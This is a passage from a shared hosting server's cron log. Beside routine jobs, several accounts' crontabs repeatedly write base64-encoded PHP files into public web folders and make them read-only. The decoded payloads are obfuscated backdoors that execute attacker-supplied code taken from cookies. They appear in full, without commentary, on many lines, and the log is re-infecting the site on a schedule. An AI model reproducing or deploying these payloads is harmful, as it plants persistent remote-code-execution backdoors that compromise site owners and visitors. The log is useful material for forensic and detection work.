"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:21:02 medusa CROND[3979]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 11:21:02 medusa CROND[3980]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:21:02 medusa CROND[3981]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:21:02 medusa CROND[3988]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:22:02 medusa CROND[19271]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:22:02 medusa CROND[19272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:22:02 medusa CROND[19273]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:22:02 medusa CROND[19275]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:22:02 medusa CROND[19274]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:22:02 medusa CROND[19276]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:22:02 medusa CROND[19277]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:22:02 medusa CROND[19279]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:22:02 medusa CROND[19288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:22:02 medusa CROND[19293]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 11:22:02 medusa CROND[19295]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:22:02 medusa CROND[19300]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:22:02 medusa CROND[19301]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:22:02 medusa CROND[19303]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 11:23:02 medusa CROND[5502]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:23:02 medusa CROND[5503]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 11:23:02 medusa CROND[5505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:23:02 medusa CROND[5506]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:23:02 medusa CROND[5507]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:23:02 medusa CROND[5508]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:23:02 medusa CROND[5525]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:23:02 medusa CROND[5524]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:23:02 medusa CROND[5530]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
